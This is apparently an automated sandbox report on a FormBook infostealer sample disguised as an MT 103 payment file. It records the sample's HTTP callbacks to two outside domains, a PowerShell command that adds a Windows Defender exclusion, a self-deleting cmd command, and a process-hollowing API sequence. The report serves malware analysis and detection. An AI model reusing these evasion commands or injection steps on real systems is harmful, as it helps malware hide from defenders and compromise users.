                                                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                                                  • www.oko.events
                                                                                                                                                                                  • www.j88.travel

                                                                                                                                                                                  HTTP Packets

                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                  0192.168.2.549717185.26.122.70801028C:\Windows\explorer.exe
                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                  Oct 1, 2024 14:47:24.663567066 CEST168OUTGET /c24t/?Edg8Tp=z+nAhoA8drw9p0SUk4F23aiKXvdwmiYumykkUl5XSRWt3Wct2pK+VZvxUbO0lNj685To&iL30=-ZRd9JBXfLe8q2J HTTP/1.1
                                                                                                                                                                                  Host: www.oko.events
                                                                                                                                                                                  Connection: close
                                                                                                                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                                                                                                                  Data Ascii:


                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                  1192.168.2.549718188.114.96.3801028C:\Windows\explorer.exe
                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                  Oct 1, 2024 14:48:05.076308966 CEST168OUTGET /c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J HTTP/1.1
                                                                                                                                                                                  Host: www.j88.travel
                                                                                                                                                                                  Connection: close
                                                                                                                                                                                  Data Raw: 00 00 00 00 00 00 00
                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                  Oct 1, 2024 14:48:05.555167913 CEST925INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                  Date: Tue, 01 Oct 2024 12:48:05 GMT
                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                  Content-Length: 167
                                                                                                                                                                                  Connection: close
                                                                                                                                                                                  Cache-Control: max-age=3600
                                                                                                                                                                                  Expires: Tue, 01 Oct 2024 13:48:05 GMT
                                                                                                                                                                                  Location: https://www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2M5EXnHnqMzvqEnmohydAD0GTx4KJSrhZ29Za54JAflM3sqTVff5lErCYaean95guDhwBtweregCFjQRk49ZVS2FFDNDXdl4z3Atzgtuz7k8B60ivHrr%2FW5GtvQDHdvdBw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                  Speculation-Rules: "/cdn-cgi/speculation"
                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                  CF-RAY: 8cbc90a25d570f77-EWR
                                                                                                                                                                                  Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                  Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>


                                                                                                                                                                                  Statistics

                                                                                                                                                                                  CPU Usage

                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                  Memory Usage

                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                                                  Behavior

                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                  System Behavior

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:0
                                                                                                                                                                                  Start time:08:46:05
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Users\user\Desktop\hbwebdownload - MT 103.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
                                                                                                                                                                                  Imagebase:0xb50000
                                                                                                                                                                                  File size:676'872 bytes
                                                                                                                                                                                  MD5 hash:42D6700F5272596C025308992D4FEA37
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:3
                                                                                                                                                                                  Start time:08:46:06
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
                                                                                                                                                                                  Imagebase:0xce0000
                                                                                                                                                                                  File size:433'152 bytes
                                                                                                                                                                                  MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:4
                                                                                                                                                                                  Start time:08:46:06
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Users\user\Desktop\hbwebdownload - MT 103.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
                                                                                                                                                                                  Imagebase:0x850000
                                                                                                                                                                                  File size:676'872 bytes
                                                                                                                                                                                  MD5 hash:42D6700F5272596C025308992D4FEA37
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:5
                                                                                                                                                                                  Start time:08:46:06
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                  Imagebase:0x7ff6d64d0000
                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:6
                                                                                                                                                                                  Start time:08:46:06
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Windows\explorer.exe
                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                  Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                                                  Imagebase:0x7ff674740000
                                                                                                                                                                                  File size:5'141'208 bytes
                                                                                                                                                                                  MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:7
                                                                                                                                                                                  Start time:08:46:10
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Windows\SysWOW64\colorcpl.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Windows\SysWOW64\colorcpl.exe"
                                                                                                                                                                                  Imagebase:0x8e0000
                                                                                                                                                                                  File size:86'528 bytes
                                                                                                                                                                                  MD5 hash:DB71E132EBF1FEB6E93E8A2A0F0C903D
                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                  • Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:8
                                                                                                                                                                                  Start time:08:46:14
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:/c del "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
                                                                                                                                                                                  Imagebase:0x790000
                                                                                                                                                                                  File size:236'544 bytes
                                                                                                                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                  General

                                                                                                                                                                                  Target ID:9
                                                                                                                                                                                  Start time:08:46:14
                                                                                                                                                                                  Start date:01/10/2024
                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                  Imagebase:0x7ff6d64d0000
                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                  Disassembly

                                                                                                                                                                                  Reset < >

                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                    Execution Coverage:9.3%
                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                                    Signature Coverage:0%
                                                                                                                                                                                    Total number of Nodes:161
                                                                                                                                                                                    Total number of Limit Nodes:11
                                                                                                                                                                                    execution_graph 25030 156d690 DuplicateHandle 25031 156d726 25030->25031 25032 156d040 25033 156d086 GetCurrentProcess 25032->25033 25035 156d0d1 25033->25035 25036 156d0d8 GetCurrentThread 25033->25036 25035->25036 25037 156d115 GetCurrentProcess 25036->25037 25038 156d10e 25036->25038 25039 156d14b 25037->25039 25038->25037 25040 156d173 GetCurrentThreadId 25039->25040 25041 156d1a4 25040->25041 25042 156acb0 25046 156ad97 25042->25046 25051 156ada8 25042->25051 25043 156acbf 25047 156addc 25046->25047 25048 156adb9 25046->25048 25047->25043 25048->25047 25049 156afe0 GetModuleHandleW 25048->25049 25050 156b00d 25049->25050 25050->25043 25052 156addc 25051->25052 25053 156adb9 25051->25053 25052->25043 25053->25052 25054 156afe0 GetModuleHandleW 25053->25054 25055 156b00d 25054->25055 25055->25043 25213 75676a0 25214 75676c6 25213->25214 25215 756782b 25213->25215 25214->25215 25217 7563204 25214->25217 25218 7567920 PostMessageW 25217->25218 25219 756798c 25218->25219 25219->25214 25056 75653fa 25061 756656e 25056->25061 25077 75664f9 25056->25077 25092 7566508 25056->25092 25057 7565409 25062 75664fc 25061->25062 25063 7566571 25061->25063 25076 756652a 25062->25076 25107 7566a0e 25062->25107 25112 7566a40 25062->25112 25118 7566dda 25062->25118 25123 756697e 25062->25123 25128 7566f31 25062->25128 25132 7566cf5 25062->25132 25139 7566ad4 25062->25139 25143 7566bd6 25062->25143 25148 7566e36 25062->25148 25152 75669c8 25062->25152 25156 7566cad 25062->25156 25161 756692f 25062->25161 25063->25057 25076->25057 25078 75664fc 25077->25078 25079 7566e36 2 API calls 25078->25079 25080 7566bd6 2 API calls 25078->25080 25081 7566ad4 2 API calls 25078->25081 25082 7566cf5 4 API calls 25078->25082 25083 7566f31 2 API calls 25078->25083 25084 756697e 2 API calls 25078->25084 25085 7566dda 2 API calls 25078->25085 25086 7566a40 2 API calls 25078->25086 25087 7566a0e 2 API calls 25078->25087 25088 756692f 2 API calls 25078->25088 25089 7566cad 2 API calls 25078->25089 25090 75669c8 2 API calls 25078->25090 25091 756652a 25078->25091 25079->25091 25080->25091 25081->25091 25082->25091 25083->25091 25084->25091 25085->25091 25086->25091 25087->25091 25088->25091 25089->25091 25090->25091 25091->25057 25093 7566522 25092->25093 25094 756652a 25093->25094 25095 7566e36 2 API calls 25093->25095 25096 7566bd6 2 API calls 25093->25096 25097 7566ad4 2 API calls 25093->25097 25098 7566cf5 4 API calls 25093->25098 25099 7566f31 2 API calls 25093->25099 25100 756697e 2 API calls 25093->25100 25101 7566dda 2 API calls 25093->25101 25102 7566a40 2 API calls 25093->25102 25103 7566a0e 2 API calls 25093->25103 25104 756692f 2 API calls 25093->25104 25105 7566cad 2 API calls 25093->25105 25106 75669c8 2 API calls 25093->25106 25094->25057 25095->25094 25096->25094 25097->25094 25098->25094 25099->25094 25100->25094 25101->25094 25102->25094 25103->25094 25104->25094 25105->25094 25106->25094 25108 756698a 25107->25108 25109 7567243 25108->25109 25165 7564a10 25108->25165 25169 7564a18 25108->25169 25114 7566a55 25112->25114 25113 7566f21 25113->25076 25114->25113 25173 7563e70 25114->25173 25177 7563e68 25114->25177 25115 75671d8 25119 756698a 25118->25119 25119->25118 25120 7567243 25119->25120 25121 7564a10 ReadProcessMemory 25119->25121 25122 7564a18 ReadProcessMemory 25119->25122 25121->25119 25122->25119 25124 756698a 25123->25124 25125 7567243 25124->25125 25126 7564a10 ReadProcessMemory 25124->25126 25127 7564a18 ReadProcessMemory 25124->25127 25126->25124 25127->25124 25181 7564860 25128->25181 25185 7564868 25128->25185 25129 7566eeb 25129->25128 25189 7564358 25132->25189 25193 7564351 25132->25193 25133 7566d0f 25137 7563e70 ResumeThread 25133->25137 25138 7563e68 ResumeThread 25133->25138 25134 75671d8 25137->25134 25138->25134 25141 7564351 Wow64SetThreadContext 25139->25141 25142 7564358 Wow64SetThreadContext 25139->25142 25140 7566a8b 25140->25076 25141->25140 25142->25140 25144 7566bdc 25143->25144 25197 7564920 25144->25197 25201 7564928 25144->25201 25145 75672ae 25150 7564920 WriteProcessMemory 25148->25150 25151 7564928 WriteProcessMemory 25148->25151 25149 7566a66 25149->25076 25150->25149 25151->25149 25154 7564920 WriteProcessMemory 25152->25154 25155 7564928 WriteProcessMemory 25152->25155 25153 75669ef 25153->25076 25154->25153 25155->25153 25157 756698a 25156->25157 25158 7567243 25157->25158 25159 7564a10 ReadProcessMemory 25157->25159 25160 7564a18 ReadProcessMemory 25157->25160 25159->25157 25160->25157 25205 7564ba5 25161->25205 25209 7564bb0 25161->25209 25166 7564a18 ReadProcessMemory 25165->25166 25168 7564aa7 25166->25168 25168->25108 25170 7564a63 ReadProcessMemory 25169->25170 25172 7564aa7 25170->25172 25172->25108 25174 7563eb0 ResumeThread 25173->25174 25176 7563ee1 25174->25176 25176->25115 25178 7563e70 ResumeThread 25177->25178 25180 7563ee1 25178->25180 25180->25115 25182 75648a8 VirtualAllocEx 25181->25182 25184 75648e5 25182->25184 25184->25129 25186 75648a8 VirtualAllocEx 25185->25186 25188 75648e5 25186->25188 25188->25129 25190 756439d Wow64SetThreadContext 25189->25190 25192 75643e5 25190->25192 25192->25133 25194 756439d Wow64SetThreadContext 25193->25194 25196 75643e5 25194->25196 25196->25133 25198 7564928 WriteProcessMemory 25197->25198 25200 75649c7 25198->25200 25200->25145 25202 7564970 WriteProcessMemory 25201->25202 25204 75649c7 25202->25204 25204->25145 25206 7564bb0 CreateProcessA 25205->25206 25208 7564dfb 25206->25208 25210 7564c39 CreateProcessA 25209->25210 25212 7564dfb 25210->25212 25220 1564668 25221 156467a 25220->25221 25223 1564686 25221->25223 25224 1564778 25221->25224 25225 156479d 25224->25225 25229 1564888 25225->25229 25233 1564879 25225->25233 25231 15648af 25229->25231 25230 156498c 25231->25230 25237 15644b4 25231->25237 25235 15648af 25233->25235 25234 156498c 25234->25234 25235->25234 25236 15644b4 CreateActCtxA 25235->25236 25236->25234 25238 1565918 CreateActCtxA 25237->25238 25240 15659db 25238->25240

                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                    Function 07566B49 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2095192769.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_7560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 070ab2ed7485f082fc3ba76d54d6a40c4015dfd3ee301af7dd6697014bab6ce7
                                                                                                                                                                                    • Instruction ID: f3fc549c2f9f111c9117270c7684ffb0e9f847f6b045c0e71d0f4e1535391e9e
                                                                                                                                                                                    • Opcode Fuzzy Hash: 070ab2ed7485f082fc3ba76d54d6a40c4015dfd3ee301af7dd6697014bab6ce7
                                                                                                                                                                                    • Instruction Fuzzy Hash: 8FC080D1DDF044D5C6001D5414090F4E73CF68F015F013C52C51D63012D115C2254656
                                                                                                                                                                                    Function 0156D030 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 135threadCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 294 156d030-156d0cf GetCurrentProcess 298 156d0d1-156d0d7 294->298 299 156d0d8-156d10c GetCurrentThread 294->299 298->299 300 156d115-156d149 GetCurrentProcess 299->300 301 156d10e-156d114 299->301 303 156d152-156d16d call 156d618 300->303 304 156d14b-156d151 300->304 301->300 307 156d173-156d1a2 GetCurrentThreadId 303->307 304->303 308 156d1a4-156d1aa 307->308 309 156d1ab-156d20d 307->309 308->309
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 0156D0BE
                                                                                                                                                                                    • GetCurrentThread.KERNEL32 ref: 0156D0FB
                                                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 0156D138
                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 0156D191
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Current$ProcessThread
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 2063062207-28667382
                                                                                                                                                                                    • Opcode ID: 0fbd881a0da50ec0c5b419f3301fd24a2f3e1df4fdcf27eb4779f400c32bc573
                                                                                                                                                                                    • Instruction ID: 24f99d351d5c4899ef8dbe9a217c6310db9addfb4ad1956e9299793fac452264
                                                                                                                                                                                    • Opcode Fuzzy Hash: 0fbd881a0da50ec0c5b419f3301fd24a2f3e1df4fdcf27eb4779f400c32bc573
                                                                                                                                                                                    • Instruction Fuzzy Hash: 205165B0E002498FEB14CFA9D548BEEBBF5FF49304F208859E459AB260C7745885CB61
                                                                                                                                                                                    Function 0156D040 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128threadCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 316 156d040-156d0cf GetCurrentProcess 320 156d0d1-156d0d7 316->320 321 156d0d8-156d10c GetCurrentThread 316->321 320->321 322 156d115-156d149 GetCurrentProcess 321->322 323 156d10e-156d114 321->323 325 156d152-156d16d call 156d618 322->325 326 156d14b-156d151 322->326 323->322 329 156d173-156d1a2 GetCurrentThreadId 325->329 326->325 330 156d1a4-156d1aa 329->330 331 156d1ab-156d20d 329->331 330->331
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 0156D0BE
                                                                                                                                                                                    • GetCurrentThread.KERNEL32 ref: 0156D0FB
                                                                                                                                                                                    • GetCurrentProcess.KERNEL32 ref: 0156D138
                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 0156D191
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000000.00000002.2091113211.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_1560000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Current$ProcessThread
                                                                                                                                                                                    • String ID: LI:/
                                                                                                                                                                                    • API String ID: 2063062207-28667382
                                                                                                                                                                                    • Opcode ID: a1700c2c053afcc974267fc106d875a2d92ca411a0faca0643b6aaf75d0c5ea7
                                                                                                                                                                                    • Instruction ID: b5f2788036104a499bb281f972d9405f3f53a939138ce0c18f5871f9e795e852
                                                                                                                                                                                    • Opcode Fuzzy Hash: a1700c2c053afcc974267fc106d875a2d92ca411a0faca0643b6aaf75d0c5ea7
                                                                                                                                                                                    • Instruction Fuzzy Hash: D55154B0E003098FEB14DFAAD548BAEBBF5FF89314F208859E419AB250D7745984CB65
                                                                                                                                                                                    Function 07564BA5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 251processCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 338 7564ba5-7564c45 341 7564c47-7564c51 338->341 342 7564c7e-7564c9e 338->342 341->342 343 7564c53-7564c55 341->343 349 7564cd7-7564d06 342->349 350 7564ca0-7564caa 342->350 344 7564c57-7564c61 343->344 345 7564c78-7564c7b 343->345 347 7564c65-7564c74 344->347 348 7564c63 344->348 345->342 347->347 351 7564c76 347->351 348->347 358 7564d3f-7564df9 CreateProcessA 349->358 359 7564d08-7564d12 349->359 350->349 352 7564cac-7564cae 350->352 351->345 353 7564cb0-7564cba 352->353 354 7564cd1-7564cd4 352->354 356 7564cbe-7564ccd 353->356 357 7564cbc 353->357 354->349 356->356 360 7564ccf 356->360 357->356 370 7564e02-7564e88 358->370 371 7564dfb-7564e01 358->371 359->358 361 7564d14-7564d16 359->361 360->354 363 7564d18-7564d22 361->363 364 7564d39-7564d3c 361->364 365 7564d26-7564d35 363->365 366 7564d24 363->366 364->358 365->365 368 7564d37 365->368 366->365 368->364 381 7564e8a-7564e8e 370->381 382 7564e98-7564e9c 370->382 371->370 381->382 383 7564e90 381->383 384 7564e9e-7564ea2 382->384 385 7564eac-7564eb0 382->385 383->382 384->385 386 7564ea4 384->386 387 7564eb2-7564eb6 385->387 388 7564ec0-7564ec4 385->388 386->385 387->388 389 7564eb8 387->389 390 7564ed6-7564edd 388->390 391 7564ec6-7564ecc 388->391 389->388 392 7564ef4 390->392 393 7564edf-7564eee 390->393 391->390 395 7564ef5 392->395 393->392 395->395
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 07564DE6
